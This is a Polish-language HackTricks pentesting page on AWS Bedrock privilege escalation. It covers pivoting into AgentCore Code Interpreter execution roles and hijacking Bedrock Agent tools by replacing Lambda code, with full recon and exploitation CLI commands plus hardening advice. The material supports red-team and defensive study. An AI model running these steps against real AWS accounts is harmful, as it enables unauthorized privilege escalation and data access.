AWS - Bedrock PrivEsc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Amazon Bedrock AgentCore

bedrock-agentcore:StartCodeInterpreterSession + bedrock-agentcore:InvokeCodeInterpreter - Code Interpreter Execution-Role Pivot

AgentCore Code Interpreter to zarządzane środowisko wykonawcze. Custom Code Interpreters mogą być skonfigurowane z executionRoleArn, które „provides permissions for the code interpreter to access AWS services”.

Jeśli lower-privileged IAM principal może start + invoke sesję Code Interpreter skonfigurowaną z more privileged execution role, wywołujący może skutecznie pivot into the execution role’s permissions (lateral movement / privilege escalation zależnie od zakresu roli).

Note

Zwykle jest to problem misconfiguration / excessive permissions (nadawanie szerokich uprawnień execution role interpretera i/lub szerokiego dostępu do invoke). AWS explicitly warns to avoid privilege escalation by ensuring execution roles have equal or fewer privileges than identities allowed to invoke.

Preconditions (common misconfiguration)

  • Istnieje custom code interpreter z nadmiernie uprzywilejowaną execution role (np. access do wrażliwego S3/Secrets/SSM lub możliwości podobne do IAM-admin).
  • Użytkownik (developer/auditor/CI identity) ma permissions do:
  • start sessions: bedrock-agentcore:StartCodeInterpreterSession
  • invoke tools: bedrock-agentcore:InvokeCodeInterpreter
  • (Optional) Użytkownik może też tworzyć interpreters: bedrock-agentcore:CreateCodeInterpreter (pozwala utworzyć nowy interpreter skonfigurowany z execution role, zależnie od org guardrails).

Recon (identify custom interpreters and execution role usage)

List interpreters (control-plane) i sprawdź ich configuration:

aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>

Polecenie create-code-interpreter obsługuje --execution-role-arn, które definiuje, jakie uprawnienia AWS będzie mieć interpreter.

Krok 1 - Uruchom sesję (to zwraca sessionId, a nie interaktywną powłokę)

SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
--name "arte-oussama" \
--query sessionId \
--output text
)

echo "SessionId: $SESSION_ID"

Krok 2 - Invoke code execution (Boto3 or signed HTTPS)

Nie ma interaktywnej powłoki python z start-code-interpreter-session. Wykonywanie odbywa się przez InvokeCodeInterpreter.

Opcja A - przykład Boto3 (wykonaj Python + zweryfikuj tożsamość):

import boto3

client = boto3.client("bedrock-agentcore", region_name="<REGION>")

# Execute python inside the Code Interpreter session
resp = client.invoke_code_interpreter(
codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
sessionId="<SESSION_ID>",
name="executeCode",
arguments={
"language": "python",
"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
}
)

# Response is streamed; print events for visibility
for event in resp.get("stream", []):
print(event)

Jeśli interpreter jest skonfigurowany z execution role, wynik sts:GetCallerIdentity() powinien odzwierciedlać tożsamość tej roli (a nie low-priv caller), pokazując pivot.

Option B - Signed HTTPS call (awscurl):

awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
--service bedrock-agentcore \
--region <Region> \
-d '{
"name": "executeCode",
"arguments": {
"language": "python",
"code": "print(\"Hello from AgentCore\")"
}
}'

Impact

  • Lateral movement do dowolnego AWS access, jaki ma role execution interpretera.
  • Privilege escalation jeśli role execution interpretera ma większe uprawnienia niż caller.
  • Trudniejsze wykrycie, jeśli CloudTrail data events dla invocations interpretera nie są włączone (invocations mogą nie być logowane domyślnie, zależnie od konfiguracji).

Mitigations / Hardening

  • Least privilege dla interpretera executionRoleArn (traktuj to jak Lambda execution roles / CI roles).
  • Restrict who can invoke (bedrock-agentcore:InvokeCodeInterpreter) i kto może startować sessions.
  • Używaj SCPs do deny InvokeCodeInterpreter poza zatwierdzonymi agent runtime roles (egzekwowanie na poziomie org może być konieczne).
  • Włącz odpowiednie CloudTrail data events dla AgentCore tam, gdzie to ma zastosowanie; ustaw alerty na nieoczekiwane invocations i tworzenie sessions.

Amazon Bedrock Agents

lambda:UpdateFunctionCode, bedrock:InvokeAgent - Agent Tool Hijacking via Lambda

Bedrock Agents mogą używać Lambda-backed action groups jako tools (external execution). Jeśli principal może zmodyfikować code funkcji Lambda używanej przez agenta, a następnie może invoke agenta, może wykonać code kontrolowany przez attacker-a w ramach Lambda execution role.

Note

To jest cross-service trust abuse (Bedrock → Lambda), a nie vulnerability. Attacker może nie być w stanie invoke Lambda bezpośrednio, ale nadal może wywołać ją przez agenta.

Preconditions (common misconfiguration)

  • Istnieje Bedrock Agent z action group wspieranym przez funkcję Lambda
  • Attacker ma:
  • lambda:UpdateFunctionCode
  • bedrock:InvokeAgent
  • Lambda execution role ma szersze permissions niż attacker
  • Attacker potrafi zidentyfikować Lambda używaną przez agenta

Recon

Wylicz action groups agenta:

aws bedrock-agent list-agents
aws bedrock-agent get-agent --agent-id <AGENT_ID>
aws bedrock-agent list-agent-action-groups --agent-id <AGENT_ID> --agent-version DRAFT

Inspect Lambda:

aws lambda get-function --function-name <FUNCTION_NAME>

Eksploatacja

Replace Lambda code:

zip payload.zip lambda_function.py

aws lambda update-function-code \
--function-name <FUNCTION_NAME> \
--zip-file fileb://payload.zip

Przykładowy payload:

import boto3

def lambda_handler(event, context):
return boto3.client("sts").get_caller_identity()

Trigger via agent:

aws bedrock-agent-runtime invoke-agent \
--agent-id <AGENT_ID> \
--agent-alias-id <ALIAS_ID> \
--session-id test \
--input-text "trigger tool"

Wpływ

  • Privilege escalation do roli wykonawczej Lambda
  • Data exfiltration z usług AWS
  • Cross-service abuse poprzez zaufane wykonanie agenta

Mitigations

  • Ogranicz lambda:UpdateFunctionCode
  • Używaj ról Lambda z least-privilege
  • Monitoruj zmiany kodu Lambda
  • Audytuj użycie narzędzi agenta Bedrock

References

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks